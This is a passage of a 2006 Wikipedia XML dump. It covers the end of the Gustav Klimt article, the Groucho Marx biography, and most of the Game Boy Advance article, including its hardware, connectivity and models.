His work is distinguished by an elegant use of gold backgrounds and mosaic patterns. This can be seen in ''Judith I'' (1901), and in ''The Kiss'' (1907).  Art historians note an eclectic range of influences contributing to Klimt's distinct style, including [[Ancient Egypt|Egyptian]], [[Minoan civilization|Minoan]], [[Ancient Greece|Classical Greek]], and [[Byzantium|Byzantine]] inspirations. Klimt was also inspired by engravings of [[Albrecht Dürer]], late medieval European painting, and [[Ukiyo-e|Japanese Ukiyo-e]].

Klimt was one of the founding members of the ''Wiener Sezession'' ([[Vienna Secession]]) and of the periodical ''[[Ver Sacrum]]''. He left the movement in [[1908]].

Klimt took annual summer holidays on the shores of [[Attersee (lake)|Attersee]] and painted some of the lanscapes he saw there.

He died in Vienna on February 6,1918 of a stroke and was interred at the [[Hietzing]] Cemetery, Vienna.  Numerous paintings were left unfinished.

==Legacy==
* Klimt's work had a clear influence on the paintings of [[Egon Schiele]].
* In November of 2003, Klimt's ''Landhaus am Attersee'' sold for [[United States dollar|$]]29,128,000.
* [[Raoul Ruiz]] directed a [[biopic]], ''[[Klimt (film)|Klimt]]'', starring [[John Malkovich]] in the title role. The movie got its world premiere at the [[International Film Festival Rotterdam]] on saturday [[2006-01-28]].
* Modifications of his work featuring main characters appear in the anime series [[Elfen Lied]].
* [[National Public Radio]] reported on [[January 17]],[[2006]] that &quot;The Austrian National Gallery is being compelled by a national arbitration board to return five paintings by Gustav Klimt to a [[Los Angeles, California|Los Angeles]] woman, the heir of a [[Jew|Jewish]] family that had its art stolen by the [[Nazi]]s. The paintings are estimated to be worth at least [[United States dollar|$]]150 million.&quot;{{ref|NPR01}}

==Selected works==
[[Image:Klimpt01.JPG|right|frame|''Judith I'', painted in 1901]]
* [[University of Vienna]] Festsaal ceiling paintings
* [[Palais Stoclet]] mosaic in [[Brussels]]
* Fable (1883) 
* The Theatre in Taormina (1886-1888)
* Auditorium in the Old Burgtheater, Vienna (1888)
* Portrait of Joseph Pembauer, the Pianist and Piano Teacher (1890)
* Ancient Greece II (Girl from Tanagra) (1890 - 1891)
* Portrait of a Lady (Frau Heymann?) (1894) 
* Music I (1895)
* Sculpture (1896)
* Tragedy (1897)
* Music II (1898)
* Pallas Athene (1898)
* Portrait of Sonja Kipps (1898)
* Fish Blood (1898)
* Moving Water (1898)
* Schubert at the Piano (1899)
* After the Rain (Garden with Chickens in St Agatha) (1899)
* Nymphs (Sliver Fish) (1899) 
* Philosophy (1899 - 1907)
* Nuda Veritas (1899)
* Portrait of Serena Lederer (1899) 
* Medicine (1900 - 1907)
* Music (Lithograph) (1901)
* ''[[:Image:Klimpt01.JPG|Judith I]]'' (1901)
* ''[[:Image:Gustav Klimt 006.jpg|Buchenwald]]'' (Birkenwald) (1901)
* Gold Fish (To my critics) (1901 - 1902)
* Portrait of Gertha Felsovanyi (1902)
* Portrait of Emilie Floge (1902)
* Beach Forest (1902) 
* Beach Forest I (1902) 
* Beethoven Frieze (1902) [http://www.ibiblio.org/wm/paint/auth/klimt/klimt.beethoven-frieze1.jpg] [http://www.ibiblio.org/wm/paint/auth/klimt/klimt.beethoven-frieze2.jpg]
* Hope (1903)
* Pear Tree (1903)
* Jurisprudence (1903-1907)
* ''[[:Image:Gustav Klimt 067.jpg|Water Serpents I]]'' (1904 - 1907)
* Water Serpents II (1904 - 1907) 
* The Three Ages of Woman (1905)
* Portrait of Margaret Stonborough-Wittgenstein (1905)
* Farm Garden (Flower Garden) (1905-1906)
* Farm Garden with Sunflowers (1905-1906)
* The Stoclet Frieze (1905-1909)
* ''[[:Image:Gustav Klimt 052.jpg| Portrait of Fritsa Reidler]]'' (1906)
* Sunflower (1906-1907)
* Hope II (1907-1908)
* ''[[:Image:Klimt, Danaë.jpg|Danaë]]'' (1907)
* ''[[:Image:Gustav Klimt 046.jpg| Portrait of Adele Bloch-Bauer I]]'' (1907)
* Poppy Field (1907)
* Schloss Kammer on the Attersee I (1908)
* ''[[:Image:Gustav Klimt 016.jpg|The Kiss]]'' (1907 - 1908)
* Lady with Hat and Feather Boa (1909)
* ''[[:Image:Gustav Klimt 038.jpg|Judith II]]'' ''(Salom&amp;#xE9;)'' (1909)
* Black Feather Hat (Lady with Feather Hat) (1910)
* Schloss Kammer on the Attersee III (1910)
* Farm Garden with Crucifix (1911-1912)
* Apple Tree (1912)
* Forester's House, Weissenbach on Lake Attersee (1912)
* Portrait of Mada Primavesi (1912)
* ''[[:Image:Gustav Klimt 047.jpg|Portrait of Adele Bloch-Bauer II]]'' (1912)
* ''[[:Image:Gustav Klimt 024.jpg|The Virgins (Die Jungfrau)]]'' (1913)
* The Church in Cassone (1913)
* Semi-nude seated, reclining (1913) 
* Semi-nude seated, with closed eyes (1913)
* Portrait of Eugenia Primavesi (1913-1914)
* Lovers, drawn from the right (1914)
* Portrait of Elisabeth Bachofen-Echt (1914)
* Semi-nude lying, drawn from the right (1914-1915)
* Portrait of Friederike Maria Beer (1916)
* Houses in Unterach on the Attersee (1916) [http://www.adele.at/Page10343/Page10364/page10364.html]
* Death and Life (1916)
* Garden Path with Chickens (1916)
* The Girl-Friends (1916-1917)
* Woman seated with thighs apart, drawing (1916-1917)
* The Dancer (1916 - 1918)
* Leda (was destroyed) (1917)
* Portrait of a Lady, en face (1917-1918)
* The Bride (was unfinished) (1917-1918)
* Adam and Eve (was unfinished) (1917-1918)
* Portrait of Johanna Staude (was unfinished) (1917-1918)

[[Image:Festsaal - University of Vienna.JPG|200px|thumb|right|Festsaal at the [[University of Vienna]], with one of three Klimt paintings just visible in black and white at top right.]]

==See also==
*[[List of Austrian artists and architects]]
*[[List of Austrians]]

==Notes==
*{{note|NPR01}} Burbank, Lunk [http://www.npr.org/templates/story/story.php?storyId=5160093 Austia to return paintings to Jewish heir], [[National Public Radio]], [[17 January]] [[2006]].

==External links==
{{commonscat|Gustav Klimt}}
* [http://www.ibiblio.org/wm/paint/auth/klimt/ Web Museum Klimt page]
* [http://www.reproarte.com/painter/Gustav_Klimt/ paintings of Gustav Klimt]
* [http://www.klimt.at/ Gustav Klimt Association, Vienna] &amp;nbsp; Gustav Klimt last studio 1912-1918
* [http://www.adele.at/ The Bloch-Bauer court case]
* [http://www.boheme-magazine.net/php/modules.php?name=News&amp;file=article&amp;sid=667 An Eye on Art: ''Judith I'']
* [http://www.artofklimt.com/ '''Art of Klimt''': A complete online gallery and information resource]
* [http://www.festivaljewellery.com/art-site/artists-biographies/Biog%20Klimt.htm '''Gustav  Klimt''': Online Gallery of Printable Images &amp; Biography of the Artist]

[[Category:1862 births|Klimt, Gustav]]
[[Category:1918 deaths|Klimt, Gustav]]
[[Category:Austrian painters|Klimt, Gustav]]
[[Category:Symbolist painters|Klimt, Gustav]]
[[Category:Art Nouveau|Klimt, Gustav]]

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  <page>
    <title>Groucho Marx</title>
    <id>12426</id>
    <revision>
      <id>42117661</id>
      <timestamp>2006-03-03T23:03:46Z</timestamp>
      <contributor>
        <username>Mikadoo</username>
        <id>925686</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''&quot;Groucho&quot; redirects here. For other uses, see [[Groucho (disambiguation)]].''

[[Image:Grouchomarxpromophoto.jpg|thumb|right|Groucho Marx poses for an NBC promotional photograph]]

'''Julius Henry Marx''', known as '''Groucho Marx''' ([[October 2]], [[1890]] &amp;ndash; [[August 19]], [[1977]]), was an [[United States|American]] [[comedian]], working both with his siblings, the [[Marx Brothers]], and on his own.

== Childhood ==
The Marx family grew up on the [[Upper East Side]] of [[New York City]], in a small [[Jew]]ish neighborhood sandwiched between Irish-German and Italian neighborhoods. 

== Accent ==
For a time in [[vaudeville]], all the brothers performed in ethnic accents; Leonard Marx, the oldest Marx brother, developed the &quot;Italian&quot; accent he used as &quot;[[Chico Marx|Chico]]&quot; to convince some roving bullies that he was Italian, not Jewish. Groucho did a [[German_language|German]] accent. However, after the sinking of the [[RMS Lusitania]] in [[1915]] public [[anti-German sentiment]] was widespread, and Groucho's &quot;German&quot; character was booed, so he quickly dropped the accent and developed the fast-talking wise guy character he would make famous.

==Career highlights==

[[Image:Early_marx_brothers_with_parents.jpg|thumb|200px|left|An early photo of the brothers with their parents. Groucho is the first on the left.]]

Groucho developed a routine as a wise-cracking hustler with a distinctive chicken-walking lope and an exaggerated greasepaint [[mustache]], improvising insults to stuffy [[dowager]]s (often played by [[Margaret Dumont]]) and anyone else who stood in his way. He and his brothers starred in a series of extraordinarily popular movies and stage shows, often [[ad lib|departing from the scripts]] they were using. (See: [[Marx Brothers]])

The use of greasepaint originated spontaneously before a [[vaudeville]] performance when he did not have time to apply the pasted-on mustache he had been using. 

In the [[1930s]] and [[1940s]] Groucho also worked as a [[radio]] comedian and show host. In the late 1940s, he hosted the popular [[radio]] program ''[[You Bet Your Life]]'', which moved over to [[television]] in [[1950]]. The show consisted of Groucho interviewing the contestants and &quot;ad libbing&quot; jokes. Then they would play a brief quiz. The show was responsible for the phrases &quot;Say the secret woid [word] and divide $100&quot; (that is, each contestant would get $50); and &quot;Who's buried in [[Grant's Tomb]]?&quot; or &quot;What color is the [[White House]]?&quot; (asked when Groucho felt sorry for a contestant who hadn't won anything). It would run 11 years on [[television]].

Throughout his career he introduced a number of memorable songs in films, including &quot;Hooray for [[Captain Spaulding]]&quot;, &quot;I'm Against It&quot;, &quot;Hello I Must be Going&quot;, &quot;Everyone Says I Love You&quot; and &quot;[[Lydia the Tattooed Lady]]&quot;. [[Crooner]] [[Frank Sinatra]] once quipped that the only thing he could do better than Marx was sing.

==Personal life==
Groucho was married three times, and all of his marriages ended in divorce. His first wife was a chorus girl named Ruth Johnson, by whom he had two children, Arthur and Miriam. He had a daughter, Melinda, by his second wife, Kay Gorsey, former wife of [[Leo Gorcey]], one of the [[Bowery Boys]].

==Later years==
[[Image:Groucho-marx.jpg|thumb|200px|right|Groucho Marx appears on ''America Salutes Richard Rodgers'']]

Off-stage he was bookish and stated late in life that he lamented the fact he had never finished school or gone to college. Despite his lack of formal education he wrote several books, including the autobiographical ''Groucho and Me'' (1959) (Da Capo Press, 1995, ISBN 0306806665) and ''Memoirs of a Mangy Lover'' (1964) (Da Capo Press, 2002, ISBN 0306811049). 

In later years he grew a real moustache, the lack of which had earlier been an effective means of hiding himself from fans.

His stage name was said to have been bestowed on him by another performer during a back-stage card game at the Orpehum Theatre in Galesburg, Illinois, because while in [[vaudeville]] he kept his money in a bag around his neck known as a &quot;grouch&quot; bag. An alternate story is that he was grouchy. The comedian himself wrote that he did not know the nickname's origin, but in his autobiography he wrote that it wasn't from the money-holding grouch-bags. In any case, he was a master at improvising clever insults and became well known for this. One of his frustrations in later years was that when he insulted people who annoyed him they tended to laugh, thinking it was just part of the famous comedian's act.

In the early [[1970s]], Groucho made a comeback of sorts doing a live one-man show, including one recorded at [[Carnegie Hall]] and released as a double album, ''An Evening with Groucho'', on [[A&amp;M Records]]. His previous works once again became popular and were accompanied by new books of interviews and other transcribed conversations by Richard J. Anobile and [[Charlotte Chandler]].  He had become quite frail by this time and his last few years were accompanied by controversy over a companionship he had developed with [[Erin Fleming]] which consequently raised disputes over his estate.

Groucho Marx died on [[August 19]], [[1977]]. He was cremated, and the ashes were interred in the Eden Memorial Park Cemetery in [[Mission Hills, Los Angeles, California]]. Aged 86 at death, Groucho was the longest-lived of all the Marx brothers, though younger brother [[Zeppo Marx|Zeppo]] survived him by two years. His death undoubtedly would have received more attention at the time had it not occurred three days after that of [[Elvis Presley]].

==Groucho's legacy==
Various Groucho-like characters have appeared in popular culture, some long after Marx's death, a testament to the character's lasting appeal.
[[Image:BugsAsGroucho.jpg|320px|thumb|right|[[Bugs Bunny]] impersonates Groucho in the 1947 ''[[Looney Tunes]]'' short ''Slick Hare''.]]
*[[Bugs Bunny]] dresses as Groucho for the cartoon ''[[Slick Hare]]'' ([[1947]]), where he's trying to hide in plain sight in the [[Mocambo|Mocrumbo restaurant]]. However, Elmer dresses as [[Harpo Marx|Harpo]], prompting Bugs to walk off with one of Groucho's signature lines &quot;I think I'll slip out of these wet things and into a dry martini.&quot;
*Bugs again befuddles [[Elmer Fudd]] memorably in &quot;Wideo Wabbit&quot; ([[1956]]) by imitating the mustachioed comedian in a &quot;You Bet Your Life&quot; parody called &quot;You Beat Your Wife&quot;. Later he imitates [[Art Carney]] and slaps comical glasses on Elmer, admonishing &quot;don't be such a Groucho&quot;. 
*[[Alan Alda]] often vamped as Groucho on [[M*A*S*H (TV series)|M*A*S*H]] and a minor semi-recurring character in the series (played by [[Loudon Wainwright III]]) was named Captain Calvin Spalding in a nod towards Groucho's character in ''[[Animal Crackers]]'', Captain Geoffrey T. Spaulding.
*[[Gabe Kaplan]] portrayed Marx in the biographical [http://www.imdb.com/title/tt0084031/ Groucho] (1982) which was originally produced on Broadway. Kaplan also impersonated Groucho, his hero, in his television series ''[[Welcome Back Kotter]]'', and in [http://www.whatzup.com/Archives/cover082400.html ''WhatzUp''] Magazine recalled that he had even approached Groucho to make a cameo on the show but Groucho's care-giver, [[Erin Fleming]], wouldn't allow it.  (According to [[Mark Evanier]], [http://povonline.com/cols/COL239.htm Marx did visit the set] with Fleming, but wasn't well enough to perform.)
*[[Dave Sim]], in his controversial [[comic book]] [[Cerebus the Aardvark]], cast Groucho as the slippery, wisecracking but indomitable Lord Julius, Grandlord of the bureaucrat-ridden [[City-state]] of Palnu. 
*In [[Tiziano Sclavi]]'s comic book series [[Dylan Dog]], the hero's sidekick and assistant is called and looks like Groucho Marx. His moustache was removed in the US version of the series. 
*[[Rob Zombie]] uses four Groucho Marx character names (Captain Spaulding from ''[[Animal Crackers]]'', Otis Driftwood from ''[[A Night at the Opera (film)|A Night at the Opera]]'', Rufus Firefly from [[Duck Soup]], and S. Quentin Quale from ''[[Go West (film)|Go West]]'') for his movies, ''[[House of 1000 Corpses]]'' &amp; ''[[The Devil's Rejects]]''.
*At the end of the basketball episode of ''[[Clone High]]'' where Joan reveals that she dressed up as a man to play on the team, Principal Scudworth calls out for everyone else wearing a fake moustache to please leave. A man with a fake moustache walks by, followed by a goose wearing a similar moustache, followed by Groucho Marx (or the clone thereof).
*In an episode of the [[Spain|Spanish]] sitcom [[Aquí no hay quien viva]], Paco ([[Guillermo Ortega]]) does an impression of Marx in costume, sporting the fake moustache and eyebrows, glasses and a cigar, imitating Marx's high-pitched fast-talking voice while speaking in [[Spanish language|Spanish]].
*Two of [[Queen (band)|Queen]]'s albums, [[A Night at the Opera]] ([[1975]]) and [[A Day at the Races]] ([[1976]]) are named the same as, if not after, two of the Marx Brothers' films. [[Freddie Mercury]] was supposedly a fan of the Marx Brothers.
*In character as [[Mike Stivic]], [[Rob Reiner]] imitated Groucho Marx on a few occasions on the 1970s sitcom ''[[All in the Family]]'', including a few scenes in a 1974 episode in which Mike Stivic and his wife [[Gloria Stivic|Gloria]] ([[Sally Struthers]]) get ready to go to a Marx Brothers film festival; Mike, dressed as Groucho, does a number of imitations. Gloria is dressed as Harpo Marx.

In a [[2005]] poll, ''[[The Comedian's Comedian]]'', Groucho was voted the 5th greatest comedy act ever by fellow comedians and comedy insiders. His glasses, nose, and moustache have become icons of comedy — to this day, glasses with fake noses and moustaches (referred to as both &quot;nose-glasses&quot; and &quot;Groucho-glasses&quot;) resembling Groucho are still sold by novelty and costume shops, and worn by young people who often haven't a clue as to their origin.

==Quotations about Groucho Marx ==
{{wikiquote}}
* &quot;Groucho Marx was the best comedian this country ever produced. [...]  He is simply unique in the same way that [[Pablo Picasso|Picasso]] or [[Igor Stravinsky|Stravinsky]] are.&quot; &amp;mdash;[[Woody Allen]]
* A famous French witticism (often attributed to [[Jean-Luc Godard]]) was &quot;Je suis Marxiste, tendance Groucho.&quot;; &quot;I'm a [[Marxism|Marxist]] of the Groucho variety&quot;. This line was notably heard in the 1972 comedy by Claude Lelouch &quot;[http://www.2m.tv/nostalgia/article.asp?id=3189 L'aventure c'est l'aventure]&quot;, (starring Lino Ventura, Aldo Maccione, Jacques Brel, Johnny Hallyday and Charles Denner) where the would-be heroes get involved with a central-American guerilla; it spread to other nations as well in the 1960s and 1970s.

==External links==
*{{imdb name|id=0000050|name=Groucho Marx}}
*[http://www.marx-brothers.org/living/groucho.htm Groucho Marx at Marx-Brothers.org]
*[http://users.pandora.be/mx/ Marx-o-rama]
*[http://www.clown-ministry.com/History/marx-brothers/groucho-marx-julius.html Groucho Marx biography at Clown-Ministry.com]
*[http://news.bbc.co.uk/1/hi/programmes/letter_from_america/3578615.stm Alistair Cooke's reflections on his friendship with Groucho]

[[Category:1890 births|Marx, Groucho]]
[[Category:1977 deaths|Marx, Groucho]]
[[Category:American film actors|Marx, Groucho]]
[[Category:American radio personalities|Marx, Groucho]]
[[Category:American television personalities|Marx, Groucho]]
[[Category:Jewish American actors|Marx, Groucho]]
[[Category:Jewish American comedians|Marx, Groucho]]
[[Category:Marx Brothers|Marx, Groucho]]
[[Category:People from New York City|Marx, Groucho]]
[[Category:Vaudeville performers|Marx, Groucho]]

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    </revision>
  </page>
  <page>
    <title>Gameboy Advance</title>
    <id>12429</id>
    <revision>
      <id>28149635</id>
      <timestamp>2005-11-12T22:30:33Z</timestamp>
      <contributor>
        <username>ReyBrujo</username>
        <id>139561</id>
      </contributor>
      <comment>Categorized</comment>
      <text xml:space="preserve">#REDIRECT [[Game_Boy_Advance]] {{R from misspelling}}</text>
    </revision>
  </page>
  <page>
    <title>Game Boy Advance</title>
    <id>12430</id>
    <revision>
      <id>42030372</id>
      <timestamp>2006-03-03T09:04:26Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">{{Infobox CVG system| title = Game Boy Advance
|logo = 
|image = [[Image:Gba.jpg|250px|The Game Boy line is the best-selling handheld to date]]
|manufacturer = [[Nintendo]]
|type = [[Handheld game console]]
|generation = [[History of video games (Sixth generation era)|Sixth generation era]]
|lifespan = [[Image:Flag of Japan.svg|22px|Japan]] [[March 21]], [[2001]]&lt;br&gt;[[Image:Flag of the United States.svg|22px|North America]] [[June 11]], [[2001]]&lt;br&gt;[[Image:European flag.svg|22px|Europe]] [[June 22]], [[2001]]&lt;br&gt;[[Image:Flag of the People's Republic of China.svg|22px|China]] [[June 8]] [[2004]]
|media = [[Cartridge (electronics)|Cartridge]]
|onlineservice =
|unitssold = 70.0 million (all versions, [[2005]])
|topgame = ''[[Pokémon Ruby and Sapphire|Pokémon Ruby, Sapphire]] and [[Pokémon Emerald|Emerald]]''
}}
The '''Game Boy Advance''' (often shortened to '''GBA''') is a [[Handheld game console|handheld video game console]] developed, manufactured and marketed by [[Nintendo]].  It is one of the latest in the [[Game Boy line|Game Boy]] series of consoles, and the successor to the popular [[Game Boy Color]]. It was released in [[Japan]] on [[March 21]], [[2001]]; in [[North America]] on [[June 11]], [[2001]]; in [[Europe]] on [[June 22]], [[2001]]; and in [[China]] on [[June 8]], [[2004]] (excluding [[Hong Kong]]). Its codename during development was '''Project Atlantis'''.

==Hardware==
[[Image:Gba closeup.jpg|thumbnail|left|200px|Close-up of Game Boy Advance]]
The Game Boy Advance is [[backward compatibility|backward compatible]] with most games previously released for the [[Game Boy line|Game Boy]] or the [[Game Boy Color]], as well as new software developed to take advantage of the new technical capabilities of the system. It is powered by two [[List of battery sizes|AA]] batteries, which give about 15&amp;ndash;30 hours of play time, as well as an optional power supply that plugs directly into the GBA's battery bracket. 

===Processors===
The GBA has a custom [[32-bit]] 16.8-[[Megahertz|MHz]] [[ARM architecture|ARM]] processor ([[ARM7TDMI]]) based on a [[RISC]] architecture, which is much more suited to the [[C programming language]] than the 8-bit [[Zilog Z80|Z80]]-like processor used in older Game Boy models. The ARM processor can run both 32-bit ARM and [[16-bit]] &quot;Thumb&quot; instruction set encodings. The system also contains an 8.4-MHz [[Zilog Z80|Z80]]-like processor to provide support for legacy GB software; however, both processors cannot be active at the same time.

===Display===
The 2.9&quot; [[liquid crystal display|LCD]] is capable of a maximum of 240×160 [[pixel]]s in 15-[[bit]] color (32,768 [[color]]s). This display includes more pixels than Game Boy's 160×144; when playing legacy games, the user can press the &quot;L&quot; or &quot;R&quot; button to switch the display between 160×144 with a black border and [[scaling (geometry)|scaling]] to 240×144 pixels. Early games had very dark color [[Palette (computing)|palette]]s because the display in the development kits was much brighter than the one in the production units; the production display has a gamma value of 4. Newer titles use [[gamma correction]] in their palettes.  

If the color LCD has a fault, it is that the Game Boy Advance is lit by ambient light.  Users quickly learned to tilt the device to take advantage of window or overhead illumination. An aftermarket internal lighting kit known as the [[Afterburner (modification kit)|Afterburner]] was briefly popular before the introduction of the [[Game Boy Advance SP]], and influenced the development of the new model.

===Graphics===
The GBA has hardware support for simple [[2D computer graphics|2D]] operations using graphical elements called [[Sprite (computer graphics)|sprite]]s. It can scale, rotate, [[sum-blend]], and [[Alpha channel|alpha-blend]] sprites against a background (with one alpha value for the whole screen, not the alpha-blending of image edges seen in the [[PNG]] format), and it can change the scaling and rotation of sprites and the background on each scanline to give a pseudo-[[3D computer graphics|3D]] effect.

The GBA's picture generator has six display modes (three tiled and three bitmap) and 96&amp;nbsp;KiB of dedicated [[Random Access Memory|RAM]]. In tiled display modes, the system can manage four pixel-to-pixel layers, two pixel-to-pixel layers and one affine layer, or two affine layers, and it uses 64&amp;nbsp;KiB of RAM for tile and map data and 32&amp;nbsp;KiB for sprite cel data. In bitmap modes, it can display one large 16-bit bitmap, two 8-bit [[bitmap]]s (with page flipping), or one small 16-bit bitmap (with page flipping), and it uses 80&amp;nbsp;KiB of RAM for bitmap data and 16&amp;nbsp;KiB for sprite cel data. In all modes, it can show up to 128 sprites (individually controllable small moving objects) of 8×8 up to 64×64 pixels in either [[4-bit]] or [[8-bit]] indexed color. Each sprite can be drawn using either direct pixel mapping or affine mapping; it's possible to fit more direct sprites on a scanline.

Later games pushed the GBA to its limits with simple 3D graphics. These games include [[Wolfenstein 3D]], [[Duke Nukem Advance]], and [[Doom]] and [[Doom II|Doom 2]]. Utilizing 2D sprites for objects and 3D graphics for architecture, these games usually achieve a passable framerate, although sometimes in large environments or with many objects onscreen the framerate will drop to a very noticeable level. Some feel that such 3D games are a logical and welcome step for the GBA, while others feel that they are overly ambitious and beyond the capabilities of the system. With the release of the DS, future 3D games for the GBA will most likely be limited.

===Media===
The interface from the GBA unit to the [[read-only memory|ROM]] cartridge includes only a 24-bit address bus multiplexed with a 16-bit [[computer bus|data bus]]. (Mattel's [[Intellivision]] console had previously used a multiplexed bus.) This setup limits the directly addressable memory to 16 binary megawords (that is, 256 binary [[mebibit]]s or 32 binary [[mebibyte]]s), but bankswitching hardware on the cartridge can extend this by controlling the ROM's upper address lines from software, effectively switching other parts of the ROM into the GBA's address space. Still, [[as of 2005]], no published GBA titles have even executed such bankswitching hardware because 32&amp;nbsp;[mebibyte|MiB]] of ROM is still too expensive for the price point at which most GBA games are sold. (It would possibly have to retail for $39.99 to $49.99)

By early 2002, hardware became readily available for moving user code onto the GBA. For example, in December 2001, a [[flash memory]] cartridge and its writing hardware was selling for less than [[United States dollar|$]]200 [[United States|U.S.]], along with a $50 device to emulate the netbooting master. By April 2003, the prices had come down to under $100 for the flash cartridge and writer and $30 for the boot cable. Because of the drop in prices for programming equipment, a [[Homebrew (video games)|homebrew]] software development community has sprung up.  Nintendo, however, has a history of viewing such devices as nothing more than piracy tools, since they can be used to copy cartridges containing copyrighted software. In February 2002, Nintendo began sending threatening letters to some United States resellers of such devices. Previous lawsuits had banned the importation of similar devices for the 8-bit Game Boy.

===Connectivity===
[[Image:GBA 4PConnection.jpg|300px|thumb|right|4-Player connection with 2 GBAs, 1 GBA SP, and 1 GameCube with a Game Boy Player attached]]
The GBA also has a [[serial port]] for connecting to other GBA units in a setup similar to a [[token ring|token ring]] network over a bus physical topology. A GBA can also receive up to 256&amp;nbsp;KiB of [[bootstrap]] code through the port, even when no cartridge is present (sometimes known as ''multiboot'' or ''[[GBA Network Boot|netboot]]''). This is used for multiplayer GBA connections, where multiple GBAs can play with only one cartridge; one GBA with a cartridge sends boot code to the other cartridge-less GBAs. 

The serial port can (with a suitable cable) also connect to a standard [[RS-232]] serial port for debugging purposes and (hypothetically) [[Internet]] play, although a [[Internet protocol suite|TCP/IP]] stack has yet to be implemented in a GBA game.  The release of the [[Nintendo DS]] in 2004 made this further unlikely, given the built-in Wi-Fi of that system's release. 

To link GBA games, a GBA link cable is required.  To link regular GB or GB Color games, the older GB link cable is required, even if two GBAs are being used.

Nintendo also introduced connectivity between the Game Boy Advance to the [[GameCube]] console through the [[Nintendo GameCube-Game Boy Advance cable|GameCube-Game Boy Advance cable]].  This function could unlock data, act as a second screen, among other things.  It did not catch on very well and not too many games added such connectivity.

The [[Game Boy Advance Wireless Adapter]] was released on [[September 7]], [[2004]] in the United States. It allows GBAs to be linked without cords, and with more than four players at a time. It came bundled with ''[[Pokémon FireRed and LeafGreen]]''. However, a game has to be designed with the wireless adapter in mind, and there are only [http://www.nintendo.com/gamelist?start=1&amp;amp;oord=asc&amp;amp;osort=title&amp;amp;sort=&amp;amp;cmd=&amp;amp;toggle=true&amp;amp;query=&amp;amp;tf=&amp;amp;cf=&amp;amp;sf=&amp;amp;ef=&amp;rf=&amp;amp;pf=&amp;amp;af=New%21+Game+Boy+Advance+Wireless+Adapter&amp;amp;vf=&amp;nf= a few such games].

The [[Game Boy micro]] featured another port design; in order to make the system so small, the link port was shrunken.  Nintendo has released a GBM-GBM and a GBM-GBA adapter to restore full multiplayer compatibility.  It is currently only sold on Nintendo.com. Wireless Adapter compatibility was also broken as well, and Nintendo has not yet announced any kind of replacement for wireless Micro play.

==Models==
===Game Boy Advance (original model)===
The Game Boy Advance sold at a base price of $100 [[United States dollar|USD]] when it was released in [[North America]].  Prior to the release of the Game Boy Advance SP, the GBA was the fastest-selling game console in history. Despite its success, many criticized the original Game Boy Advance for still not adopting a lighted screen, which Nintendo would rectify with later models. [[As of 2005]], the original (non-lighted) model GBA has been discontinued.

===Game Boy Advance SP===
[[Image:93 phull.jpg|150px|right|thumb|Game Boy Advance SP]]
{{main|Game Boy Advance SP}}
In early 2003, Nintendo upgraded the Game Boy Advance giving it an internal front-light that can be turned on or off, a rechargeable [[lithium ion battery]], as well as a folding case approximately half the size of the GBA. It was designed to address some common complaints with the original GBA.

Around the same time as the release of the [[Game Boy micro]], Nintendo released a new backlit version of the SP.  The switch that controls the light now toggles between &quot;normal&quot; (which itself is already brighter than a [[Nintendo DS]]'s screen), and &quot;bright,&quot; an intense brightness level similar to LCD television sets.  It cannot be turned off while the system is on.  It also features an improved battery life.

===Game Boy micro===
[[Image:GameBoyMicro.jpg|150px|right|thumb|Game Boy micro]]
{{main|Game Boy micro}}
In September 2005, Nintendo released a second redesign of the Game Boy Advance.  This model again goes back to the Game Boy Advance horizontal orientation and is much smaller and sleeker. The Game Boy micro also offers the user to switch between several colored faceplates to allow customization, a feature which Nintendo advertised heavily around the micro's launch. Unlike the previous models it does not support Game Boy or Game Boy Color titles.

==Accessories==
Nintendo has released many add-ons for the Game Boy Advance (GBA). These include:

'''[[Game Boy Advance Wireless Adapter|Wireless Adapter]]''' - Released in [[2004]], this adapter hooks up to the back of the Game Boy Advance.  It replaces link cables and allows many people to link up to each other.  It markets for $20 and came included with [[Pokémon FireRed and LeafGreen|''Pokémon FireRed'' and ''Pokémon LeafGreen'']].  Because it was released so late in the GBA's life, less than 20 games support this hardware.  The adapter's usefulness is most evident in Pokémon; FireRed/LeafGreen feature a &quot;Union Room&quot; where up to forty people can enter to battle or trade Pokémon.  The adapter itself was not backward compatible, leading to criticism that this accessory was more novel than useful, only available on a few games. A Game Boy micro version has also been released - it can interact fully with both models of the Wireless Adapter.

'''[[Play-Yan]]''' - The Play-Yan is an MP3/MPEG4 player for the GBA and [[Nintendo DS]]. The cartridge is slightly bigger than normal GBA cartridge and includes a built-in headphone port as well as an [[SD Card]] slot. Music or videos that users have downloaded from the Internet can be transferred onto an SD Card and slotted into the Play-Yan device. Nintendo has released several mini games for the Play-Yan that can be downloaded from their website, although Nintendo later removed all mini-game functionality through a firmware update. The Play-Yan is currently available in [[Japan]] only, but a European release has been confirmed for early 2006. Since Play-Yan did not have a U.S. release to coincide with [[Game Boy micro]] as rumored, an American release has been speculated for 2006 as well.

'''[[e-Reader]]''' - The e-Reader is a rather bulky scanning device that plugs into the game cartridge slot of the Game Boy Advance. Specialized cards with codes along the side and bottom are slid through the slit, scanning the card into the Game Boy Advance. Many ideas for the e-Reader have included cards that scan classic games like ''[[Donkey Kong]]'' and ''[[Excitebike]]'' onto the handheld ready to play, as well as a collaboration with ''[[Super Mario Advance 4]]'' to have cards that unlock content. [[Nintendo GameCube|GameCube]] games like ''[[Animal Crossing]]'' had cards with unlockable content as well, and the ''[[Pokémon Trading Card Game]]'' playing cards also adopted the e-Reader codes. The e-Reader works with the [[Game Boy Player]] as well as the [[Game Boy Advance SP]], but cannot fit into the [[Nintendo DS]]'s Game Boy slot. It was discontinued in America in early 2004, but is still quite popular in Japan. It was not released in Europe.  

'''Game Boy Advance Video''' - These highly popular cartridges contain two episodes of 30 minute cartoon programs. First released in America in May of 2004, they cost $19.99 and included cartoons such as ''[[Pokémon (anime)|Pokémon]]'', ''[[SpongeBob SquarePants]]'', ''[[Sonic X]]'', and ''[[Teenage Mutant Ninja Turtles]]''. The movies ''[[Shrek]]'', ''[[Shrek 2]]'', and ''[[Shark Tale]]'' are also available for GBA Video and all three movies are in full. Unfortunately, these cartridges display an error when inserted into a GameCube via a Game Boy Player.

=== Unofficial accessories ===
'''[[GBA Movie Player]]''' - The GBAMP is a versatile gaming cartridge that allows people to play [[Nintendo Entertainment System|NES]]/[[Famicom]] games, watch movies (e.g. MPEGs), see [[.txt]] files, hear sound clips, etc.

